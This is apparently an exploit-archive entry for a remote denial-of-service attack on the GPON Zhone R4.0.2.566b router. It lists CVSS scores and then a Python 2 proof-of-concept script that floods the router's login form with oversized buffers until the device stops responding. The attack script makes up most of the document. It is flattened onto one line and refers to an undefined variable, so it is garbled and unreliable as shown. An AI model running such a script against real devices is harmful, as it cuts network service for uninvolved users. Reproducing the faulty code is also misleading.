GPON Zhone R4.0.2.566b D.O.S.

2015.03.03
Risk: Low
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

from httplib2 import Http from urllib import urlencode import sys,time #main function if __name__ == "__main__": if(len(sys.argv) != 2): print '*********************************************************************************' print ' GPON Zhone R4.0.2.566b D.O.S.' print ' Tested on' print ' GPON Zhone 2520' print ' Hardware: 0040-48-02' print ' Software: R4.0.2.566b' print ' ' print ' Usage : python', sys.argv[0] + ' <ip>' print ' Ex : python',sys.argv[0] + ' 192.168.15.1' print ' Author : Kaczinski lramirez@websec.mx ' print ' URL : http://www.websec.mx/advisories' print '*********************************************************************************' sys.exit() HOST = sys.argv[1] LIMIT = 100000 COUNT = 1 SIZE = 10 BUFFER = '' while len(BUFFER) < LIMIT: BUFFER = '\x41' * COUNT print "[+] Sending evil buffer with length:", len(BUFFER) h = Http() h.follow_redirects = True data = dict(XWebPageName=buffer, oldpassword=BUFFER, password="", password2="test", passwdtip="test") try: resp, content = h.request("http://" + HOST + "/GponForm/LoginForm", "POST", urlencode(data)) except: print "[+] GPON should be down, is not responding..." sys.exit() COUNT = COUNT * SIZE print "[-] GPON not vulnerable"


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